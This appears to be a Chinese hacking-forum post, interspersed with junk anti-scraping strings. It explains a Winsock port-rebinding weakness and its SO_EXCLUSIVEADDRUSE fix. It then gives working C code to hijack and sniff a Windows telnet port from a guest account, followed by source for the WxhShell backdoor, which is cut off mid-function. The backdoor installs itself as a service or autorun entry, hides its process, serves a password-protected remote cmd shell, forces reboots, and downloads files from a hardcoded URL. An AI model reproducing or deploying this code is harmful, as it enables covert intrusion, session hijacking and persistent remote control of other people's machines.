-
UID:1177
-
- 注册时间2006-03-21
- 最后登录2009-03-24
- 在线时间675小时
-
- 发帖3743
- 搜Ta的帖子
- 精华
1
- 铜板8
- 人品值493
- 贡献值9
- 交易币0
- 好评度3746
- 信誉值0
- 金币0
-
访问TA的空间加好友用道具
- 发帖
- 3743
- 铜板
- 8
- 人品值
- 493
- 贡献值
- 9
- 交易币
- 0
- 好评度
- 3746
- 信誉值
- 0
- 金币
- 0
- 所在楼道
|
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: :3D6OBkB s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); & /T} %Y=r5'6l saddr.sin_family = AF_INET; 6m(? (6+;K Xa#.GrH6 saddr.sin_addr.s_addr = htonl(INADDR_ANY); QKts-b[3 Ay 4P_>^ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); .[1 f$ 00dY?d{[D 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 EsX(<bx m;{HlDez 这意味着什么?意味着可以进行如下的攻击: h^Yh~84T )8#-IXxp 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 UF-'( PI`Y%! P 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 0|j44e} `5wiXsNjLY 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 3%GsTq2o A- Abj' 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 41Q)w=hoN 26k~Z} 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 V?"U)Y@Y *C+[I 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 a.gMH
uL ocK4Nxs 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 F*Hovxez ^lZ7% 6 #include /.!&d^ #include |;)_-=L0P #include Vq`/]& #include w42{)S" DWORD WINAPI ClientThread(LPVOID lpParam);
=A'JIssk int main() GBRiU&D { 85[
7lO)[ WORD wVersionRequested; =FIZh}JD DWORD ret; .B2e$`s$ WSADATA wsaData; Pp69|lxV=k BOOL val; ^mFsrw SOCKADDR_IN saddr; W=293mME SOCKADDR_IN scaddr; MoEh25U. int err; .6
0yQ[aE SOCKET s; SC2LY SOCKET sc; w ~crj$UM int caddsize; 4 Sk@ v HANDLE mt; -]u>kjiIT DWORD tid; bDh4p]lm wVersionRequested = MAKEWORD( 2, 2 ); V/"RCqY4 err = WSAStartup( wVersionRequested, &wsaData ); u^E0u^ if ( err != 0 ) { \eQPvkx2
printf("error!WSAStartup failed!\n"); 9IG<9uj return -1; G"u4]!$/ } #Y-_kQV* saddr.sin_family = AF_INET; AT3HHQD OiZ-y7;k^ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
ip{b*@K ]|w~{X!b4 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); !J<0.nO/: saddr.sin_port = htons(23); !XI9evJw if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) UCj+V@{ { u R5h0Fi printf("error!socket failed!\n"); 4,X CbcC return -1; }.9a!/@Aj } G^K;+& T val = TRUE; nC??exc //SO_REUSEADDR选项就是可以实现端口重绑定的 ]K>bSK^TX if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Q$`uZ { iRG6Cw2 printf("error!setsockopt failed!\n"); `uusUw-Gf return -1; 5-({z%:P } T9r6,yY //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; N:+EGmp //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 8
Elhcs //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 "ixea- 2 ~/aCzx~ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) \21Gg%W5AE { MuzQz.C ret=GetLastError(); Rh
]XJM printf("error!bind failed!\n"); bvhV return -1; O6b+eS } t&5 Ne ? listen(s,2); eUR+j?5I while(1) ze5#6Vzd& { IIBS:&;+- caddsize = sizeof(scaddr); FoZI0p?L)9 //接受连接请求 c`lL&*] sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); /6y{?0S if(sc!=INVALID_SOCKET) *u,&?fCl { +s`cXTlFrk mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); @/$i
-?E if(mt==NULL)
eIlovq/X { H)dZ0n4T printf("Thread Creat Failed!\n"); ]EDCs?, break; [Ran/D\. } i 2uSPV!Tf } #NL'r99D/o CloseHandle(mt); @PQd6%@ } |_+l D|' closesocket(s); .i|nn[H & WSACleanup(); {:n1|_r4Z return 0; sP%b?6 } Q:y'G9b DWORD WINAPI ClientThread(LPVOID lpParam) ]EQ*! { .We{W{ SOCKET ss = (SOCKET)lpParam; 8$X3 J[_j SOCKET sc; Ja/ unsigned char buf[4096]; W* v3B. SOCKADDR_IN saddr; `Nz`5}8.? long num; "K+EZ%~< DWORD val; ;7H^;+P DWORD ret; "d}ey=$h4 //如果是隐藏端口应用的话,可以在此处加一些判断 4HGS //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 _nX8f
& saddr.sin_family = AF_INET; S>j.i saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); gMPp'^g]_ saddr.sin_port = htons(23); HN5,MD[ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?FR-aXx { 0O]v| printf("error!socket failed!\n"); IAe/) return -1; YGc:84S } <Kl$ek8 val = 100; C[#C/@ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) pe3;pRh' { puMbB9) ret = GetLastError(); _.BT%4 return -1; n:k4t } Q#K10*-O6 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) z%lJWvaA7 { ja&m-CFK ret = GetLastError(); *BF[thB:a return -1; 0?gHRdU" } 27$,D XD if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 'ShK7j$ { ]bpgsW:Xu printf("error!socket connect failed!\n"); ?k;htJcGv closesocket(sc); _z 5W*..
closesocket(ss); iJmzVR+ return -1; MPw?HpM } ~mi4V while(1) <dr2 bz { u3pFH( //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ;_E|I=%'E //如果是嗅探内容的话,可以再此处进行内容分析和记录 X:g#&e_ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 WLfDXx2A num = recv(ss,buf,4096,0); Np r u if(num>0) urCTP.F send(sc,buf,num,0);
j|!t3}(( else if(num==0) #k`gm)| break; ~<s =yjTu+ num = recv(sc,buf,4096,0); Qh-:P`CN if(num>0) CXyb8z4/+ send(ss,buf,num,0); VYO1qj else if(num==0) v_WQ<G? break; Ek6g?rj_ } xk7Dx} closesocket(ss); X;l/D},. closesocket(sc); s;*
UP return 0 ; t4/ye>P & } _nxH;Za |5X[/Q*K`W mZPvG ========================================================== (j?? d%-/U!z? 下边附上一个代码,,WXhSHELL ]t`SCsoo \hBzP^*"n ========================================================== |g!d[ct] e3~{l~Rb #include "stdafx.h" n\JI7A} ?h%Jb^#9 #include <stdio.h> `M 'tuQ
M #include <string.h> pi/0~ke4" #include <windows.h> P*~
vWYH9 #include <winsock2.h> n_9Ex&?e #include <winsvc.h> k{N!}%*2 #include <urlmon.h> ms&1P q^Oj/ws #pragma comment (lib, "Ws2_32.lib") B%MdJD> #pragma comment (lib, "urlmon.lib") oZd 3H g,]m8%GHE #define MAX_USER 100 // 最大客户端连接数 WulyMcJ #define BUF_SOCK 200 // sock buffer QeuM',6R #define KEY_BUFF 255 // 输入 buffer yGAFQ|+ PM#3N2?|E #define REBOOT 0 // 重启 m;MJ{"@A' #define SHUTDOWN 1 // 关机 N!3Tg564j ,p#B5Dif/ #define DEF_PORT 5000 // 监听端口 L+<h5>6 iRlZWgj4^ #define REG_LEN 16 // 注册表键长度 X~D[CwA|` #define SVC_LEN 80 // NT服务名长度 <<A#4!f !U m9ceK // 从dll定义API 6uFw+Ya#
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +,LWyvc' typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [X!w@d= i typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); f5Gn!xF typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); YI,t{Wy -9,~b9$ // wxhshell配置信息 4^bt~{} struct WSCFG { Bps%>P~. int ws_port; // 监听端口 L8Tm8) char ws_passstr[REG_LEN]; // 口令 It&CM,=t int ws_autoins; // 安装标记, 1=yes 0=no |.0~' char ws_regname[REG_LEN]; // 注册表键名 !W@mW
5J| char ws_svcname[REG_LEN]; // 服务名 ~h; char ws_svcdisp[SVC_LEN]; // 服务显示名 rpm \!O char ws_svcdesc[SVC_LEN]; // 服务描述信息 &|#[.ti1 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 A?!RF7v int ws_downexe; // 下载执行标记, 1=yes 0=no 7)r]h? char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" ; /K6U char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _r{H)}9 f?)7MR= }; .G!xcQ`? /[FDiJH2 // default Wxhshell configuration J#F5by%8 struct WSCFG wscfg={DEF_PORT, gI;"P kN "xuhuanlingzhe", 9AX}V6\+ 1, NF6xKwRU]_ "Wxhshell", 4i)5=H "Wxhshell", bN zb#P#hP "WxhShell Service", goIvm:? "Wrsky Windows CmdShell Service", bAZoi0LR
"Please Input Your Password: ", #[{{&sN 1, @`4T6eL5 " http://www.wrsky.com/wxhshell.exe", X_o#! "Wxhshell.exe" [_(J8~va }; /h+ W L B=a+cT // 消息定义模块 $e7%>*?m char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Bc"MOSV0 char *msg_ws_prompt="\n\r? for help\n\r#>"; ?o;ip char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; xj>P5\mW# char *msg_ws_ext="\n\rExit."; Intuda7e1 char *msg_ws_end="\n\rQuit."; fc*>ky.v char *msg_ws_boot="\n\rReboot..."; S9Yzvq!( char *msg_ws_poff="\n\rShutdown..."; L?d?O char *msg_ws_down="\n\rSave to "; Zpkd8@g@ MOaI~xZ char *msg_ws_err="\n\rErr!"; Jq&Hz$L| char *msg_ws_ok="\n\rOK!"; nD
BWm`kN N<rq}^qo char ExeFile[MAX_PATH]; ;um)JCXz int nUser = 0; <
bC'.m HANDLE handles[MAX_USER]; . fja;aG int OsIsNt; .t1:;H b IAH"vHM SERVICE_STATUS serviceStatus; Ur
xiaE SERVICE_STATUS_HANDLE hServiceStatusHandle; Ra|P5 \s*UUODWK // 函数声明 {k3ItGQ_ int Install(void); AyO%,6p[ int Uninstall(void); BrE#.g Jq int DownloadFile(char *sURL, SOCKET wsh); $WIVCp int Boot(int flag); ih0a#PB8 void HideProc(void); =Q(J!f int GetOsVer(void); y<FC7 int Wxhshell(SOCKET wsl); c36p+6rJk= void TalkWithClient(void *cs); 47Z3nl? int CmdShell(SOCKET sock); 'M~`IN` int StartFromService(void); (& SU)Uvu int StartWxhshell(LPSTR lpCmdLine); =l43RawAmu #4bT8kq VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ) 1AAL0F\B VOID WINAPI NTServiceHandler( DWORD fdwControl ); n\((#<& m~
ah!QM // 数据结构和表定义 T5u71C_wmt SERVICE_TABLE_ENTRY DispatchTable[] = 2/4zg { N4+Cg t( {wscfg.ws_svcname, NTServiceMain}, v
^h:E {NULL, NULL} }"T Q\v$ }; l%EvXdZuOy Wm6qy6HR // 自我安装 * |,N/e int Install(void) e|{R2z"^ { 5FR#CQ char svExeFile[MAX_PATH]; Q)0KYKD+@ HKEY key; &'>m;W strcpy(svExeFile,ExeFile); MMFg{8 -SM_JR3< // 如果是win9x系统,修改注册表设为自启动 |)!f".` if(!OsIsNt) { BFW b0;+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?) y}HF RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); CK n2ZL RegCloseKey(key); 0fewMS* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i=#`7pt%'a RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T>asH RegCloseKey(key); )=Z;H"_ return 0; c`xNTr01 } @[J6JT*E } o>8~rtl } d2UidDU5qa else { JhFn"(O ,7j8+p|}, // 如果是NT以上系统,安装为系统服务 OCrTzz8 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )oCL![^pXe if (schSCManager!=0) HMF2sc$N { fc3 nQp7 SC_HANDLE schService = CreateService 3l?|+sU>O ( ;"nO'wN:h schSCManager, ,RR{Y- wscfg.ws_svcname, ;F258/J wscfg.ws_svcdisp, C<J*C0vQO SERVICE_ALL_ACCESS, `6VnL) SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <5E'`T SERVICE_AUTO_START, u9@B& SERVICE_ERROR_NORMAL, VF2,(f-* svExeFile, qI uo8o} NULL, iXm&\.% NULL, z]N#.utQ NULL, yb',nGl~ NULL, J`5+Zngr NULL
<)TIj6 ); PFX,X if (schService!=0) o)5zvnu7 { 73X*|g[O CloseServiceHandle(schService); /FN:yCf CloseServiceHandle(schSCManager); xK6`|/e strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); hn2:@^=f strcat(svExeFile,wscfg.ws_svcname); q#3T
L< if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { xH2'PEjFM RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); z~h?"' RegCloseKey(key); "~ID.G|< return 0; ,Sgo_bC/| } ]z'L1vQl7 } (X@\2M4@T# CloseServiceHandle(schSCManager); vy~6]hH } %EU_OS(u.{ } Nmx\qJUR( M@es8\&S. return 1; Z~SAlhT } lx2#C9L_ YA@?L!F // 自我卸载 /UunWZ u% int Uninstall(void) $Zyuhji^ { T2rwK2 HKEY key; OF<:BaRs/ vx?KenO} if(!OsIsNt) { o+hp#e if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E&J<qTH9 RegDeleteValue(key,wscfg.ws_regname); s7yKxg+`{ RegCloseKey(key); 2j4202 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y&b Yaq RegDeleteValue(key,wscfg.ws_regname); ?H8w;Csq- RegCloseKey(key); s;P _LaIp) return 0; pHR`%2!"t } XwEMF5[ } &c-V
QP( } iyCH)MA else { b(N+_=
n H9jlp.F SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (zsmJe if (schSCManager!=0) 7|=SZ+g { $xW9)) SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ds(X[7XGW
if (schService!=0) !Yo2P" { R5b,/>^'A if(DeleteService(schService)!=0) { 1sza\pR< CloseServiceHandle(schService); prO&"t
> CloseServiceHandle(schSCManager); o!h::j0,~ return 0; "8a
V~]~Dj } 1y[~xxgE CloseServiceHandle(schService); Z]LP18m9kl } t_I-6`8o] CloseServiceHandle(schSCManager); n. N0Nhd } "=]'"'B: } b/.EA'/ 9ox5,7ZQ return 1; Y_$!XIJ4 } I@N/Y{y# |LIcq0Z // 从指定url下载文件 71(ppsHk int DownloadFile(char *sURL, SOCKET wsh) g[b;1$ { De$Ic"Z9L HRESULT hr; }c9RDpjh~ char seps[]= "/"; 7KC2%s#7 char *token;
*W | char *file; -{L 7%j|R char myURL[MAX_PATH]; 4Vj]bm char myFILE[MAX_PATH]; w'i+WEU>l ]\ZJaU80I~ strcpy(myURL,sURL); N["M "s(N token=strtok(myURL,seps); \RVfgfe while(token!=NULL) aAu%QRq { \SmYxdU'> file=token; G?s;L NR token=strtok(NULL,seps); wMm+E "}W } /$qB&OWJn
IL&R&8' GetCurrentDirectory(MAX_PATH,myFILE); ,
Z1 &MuV strcat(myFILE, "\\"); >0N$R|B& strcat(myFILE, file); z5^Se!`5 send(wsh,myFILE,strlen(myFILE),0); >r:z`^p send(wsh,"...",3,0); jRk1Iu| 7 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); L{f0r!d| if(hr==S_OK) A9HgABhax return 0; <ihJp^kgQ else 1- GtZ2 return 1; p|>/Hz1v 0ZAtBq.s } >\Iy <M B`%%,SLJ // 系统电源模块 rt! lc-g%/ int Boot(int flag) d$D3iv^hyx { (a|Wq{`[ HANDLE hToken; AIQ]lQ( TOKEN_PRIVILEGES tkp; <~5$<L4 #Nv0d|0\ if(OsIsNt) { g3w-Le&T OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]\=M$:,RZ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Z+;670Z tkp.PrivilegeCount = 1; 1z8AK"8 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @aoHz8K AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); V/DdV}n! if(flag==REBOOT) { -QydUr/(o if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) J}&xS< return 0; L_YY, } / ='/R7~ else { w5&,AL: if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #kEa&Se return 0; dLu3C-.( } \tg}K0E?R5 } A|GheH!t else { cM+s)4TPL if(flag==REBOOT) { ki_Py5 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (AgM7H0 return 0; /&'rQ`nd } Y]1b39O else { @GR|co if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6t6#<ts return 0; @k2nID^> } itIzs99j } U_c9T> = TL_8c][.4$ return 1; ,n?oNU } A
ptzBs/ h3Z0NJ=xM // win9x进程隐藏模块 /7<l`RSr void HideProc(void) +-OqO3R { 8U>f/dxLOO {e8.E<f- HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); q6v%HF-q4 if ( hKernel != NULL ) Rm!Iv&{ { ZMXIKN9BF# pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); '|i<?]U ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); g&V1<n\b+ FreeLibrary(hKernel); $u./%JS } d^WEfH @{!c [{x,T return; 9n"D/NZB } `PR)7}/< @(:M?AO9S. // 获取操作系统版本 xW\iME int GetOsVer(void) PN n{Rt { e03q9( OSVERSIONINFO winfo; Q}M%
\v winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \j]i"LpWb GetVersionEx(&winfo); =FXZcP>h if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) iIoeG_^*Y return 1; Rj9YAW$ else UmSy p\i return 0; ;V~[kF=t0 } ?E0j)P/
( |BGQ|7DyG // 客户端句柄模块 W"_")V=QBz int Wxhshell(SOCKET wsl) Z!P7mH\c} { I|*w?i* SOCKET wsh; r_f?H@ v struct sockaddr_in client; J?~El& DWORD myID; ?[}r& f ew#t4~hh while(nUser<MAX_USER) %># VhK { =Vv"\p8 int nSize=sizeof(client); |Fk>NX wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;x*_h if(wsh==INVALID_SOCKET) return 1; 'Tni; WKib$(%f6 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); j>(O1z7 if(handles[nUser]==0) JgJ4RmH- closesocket(wsh); 3: 'eZcM else TzT(aWP" nUser++; B 3Y,|* } KErQCBeJ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); IvFxI#.ju ]3xb Q1 return 0; x w8
e } p0jQQg 88]V6Rm9[* // 关闭 socket N^\<y7x void CloseIt(SOCKET wsh) #"J8]3\F { *w>dT closesocket(wsh); x{_:B
DY nUser--; \&K{v#g~ ExitThread(0); uIOnP } +yvtd]D$2W ),ur!v // 客户端请求句柄 N?Byp&rqI< void TalkWithClient(void *cs) &M p??{g { ,Jm2|WKH TYv'#{ SOCKET wsh=(SOCKET)cs; ZG29q> char pwd[SVC_LEN]; .E H&GX char cmd[KEY_BUFF]; N~rA /B]T char chr[1]; |$*1!pL-QP int i,j; w$Zi'+&* 5f;6BP while (nUser < MAX_USER) { e[<vVe! T?vM\o%i3 if(wscfg.ws_passstr) { [Dr' if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z TYHwx //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T_\Nvzb} //ZeroMemory(pwd,KEY_BUFF); 6_Ps*Ed i=0; uDhe
) while(i<SVC_LEN) { -;NGS
)RM ]Sj<1tx7f // 设置超时 Yatd$`,hW fd_set FdRead; dY=]ES}` struct timeval TimeOut; " pg5w FD_ZERO(&FdRead); ``X1xiB FD_SET(wsh,&FdRead); LxdF;JCz: TimeOut.tv_sec=8; kq| r6uE TimeOut.tv_usec=0; 6,wi81F,} int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); i}u,_
} if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,7HlYPec m*bTELb if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (G1KMy pwd =chr[0]; O0Z!*Hy if(chr[0]==0xd || chr[0]==0xa) { !4.VK-a9V% pwd=0; ,>
Ya%;h2k break; 58[=.rzD } KgD sqwy i++; %C[#:>'+ } cn~/P|B[ u-s*3Lg& // 如果是非法用户,关闭 socket _ *l+ze[a if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =EJ8J;y_f } YCPU84f WswM5RN send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ZVX1@p send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b=L4A,w~a HNUpgNi while(1) { B~ ?R 6 t.rlC5
k ZeroMemory(cmd,KEY_BUFF); "xI70c{ q1^bH6*fl // 自动支持客户端 telnet标准 HfOaJ'+e< j=0; ;W 3#q: while(j<KEY_BUFF) { /wi*OZ7R if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2%?Kc]JY9 cmd[j]=chr[0]; "F[e~S#V* if(chr[0]==0xa || chr[0]==0xd) { zQxTPd cmd[j]=0; ~XeWN^l(Ov break; Kj7
?_o{ } ~0@uR j++; !U7}?i&H } <B
Vx% >6KwZr BB // 下载文件 t5aX9WIW if(strstr(cmd,"http://")) { ]."t send(wsh,msg_ws_down,strlen(msg_ws_down),0); H2S/!Q;K if(DownloadFile(cmd,wsh)) Vl^p3f[ send(wsh,msg_ws_err,strlen(msg_ws_err),0); u0Bz]Ux/Q else )%JjV(: send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @ N@
!Q } 'u#c_m!9 else { rDWwu' **CGkL switch(cmd[0]) { HGao} @' lqcPV) n // 帮助 (j(hr'f case '?': { B)x^S
> send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :sS4T&@1= break; [Mk:Zz% } !GJT-[ // 安装 jA? 7>"| case 'i': { N^{}Qvrr if(Install()) l h?[wc send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^v&"{2 else 2c'<rkA send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M_O) w^
' break; L=@8Zi!2< } -C2[ZP- // 卸载 {wl7&25 case 'r': { Jz]OWb * if(Uninstall()) X"V)oC send(wsh,msg_ws_err,strlen(msg_ws_err),0); t~|`RMn" else "H9q%S,FH send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,*sKr)9) break; .:t&LC][ } t9.| i H // 显示 wxhshell 所在路径 /&E]qc*-p case 'p': { [4Q;5 'Dj char svExeFile[MAX_PATH]; GF36G?iEi strcpy(svExeFile,"\n\r"); iX6*OEl/Q strcat(svExeFile,ExeFile); l15Z8hYhj send(wsh,svExeFile,strlen(svExeFile),0); h^YUu`P break; 5~OKKSUmT } qN^]`M[ BY // 重启 ?jsgBol case 'b': { <r)5jf send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )=!|^M if(Boot(REBOOT)) sw50lId send(wsh,msg_ws_err,strlen(msg_ws_err),0); JH#p;7; else { RJ-J/NhWyI closesocket(wsh); %v0;1m ExitThread(0); lSy_cItF } Rl
(+TE break; {5 3#Xd } zj$Ve // 关机 i&-g case 'd': { F5+!Gb En send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [xXV5 JU if(Boot(SHUTDOWN))
\okvL2:! send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y2|c;1~5$ else { >ktekO:H closesocket(wsh); H {uR+&< ExitThread(0); P!!:p2fo } !,~C break; N.vkM`Z } (\4YBaGd // 获取shell uFG ;AY| case 's': { XUK%O8N#9 CmdShell(wsh);
Q)
iN_ | closesocket(wsh); AQPzId*z ExitThread(0); ~2UmX' break; ig'4DmNC } 0{u#{_ // 退出 RPkOtRKL=w case 'x': { zc1~ q send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (`d _DQ CloseIt(wsh); \r}*<CRr6 break; iJk/fvi } XRn+6fn| // 离开 <7oZV^nd * case 'q': { |99Z&
<8f send(wsh,msg_ws_end,strlen(msg_ws_end),0); Yt;@@xe& closesocket(wsh); ?e23[ WSACleanup(); ?Q6ZZQ~ exit(1); ;{rl
Y> break; "#`c\JuR] } :w4I+*] } !n5s/"'H } }{e7wqS$&, 4?e7s.9N // 提示信息 0"M0tA# if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q8vRUlf } 2@f E! } ,6a }l;lv +luW=j0V return; Dz&<6#L< } .e2K\o L QP4#7 // shell模块句柄 PRF^<%mkI int CmdShell(SOCKET sock) oNBYJ]t { qbdv STARTUPINFO si; 3mM.#2=@> ZeroMemory(&si,sizeof(si)); H>5@/0cL2 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w~=@+U$f si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }g[(h=Qi PROCESS_INFORMATION ProcessInfo; B\Y!5$ char cmdline[]="cmd"; }!g^}BWWp CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); xo*[
g`N return 0; 79Vp^GG7 } kP}91kja WD5ulm?91| // 自身启动模式 O}_Z"y int StartFromService(void) nxh9'"th { afa7'l=^i typedef struct FqK2[]8 { gT6@0ANq DWORD ExitStatus; c/E6}OWA DWORD PebBaseAddress; A PR%ZpG DWORD AffinityMask; D2}nJFR
] DWORD BasePriority; 675x/0}GO ULONG UniqueProcessId; A">A@`} ULONG InheritedFromUniqueProcessId; qZ7/d,w } PROCESS_BASIC_INFORMATION; i
bwnK?ZA jVpk) ;vC PROCNTQSIP NtQueryInformationProcess; URD<KIN> OVm
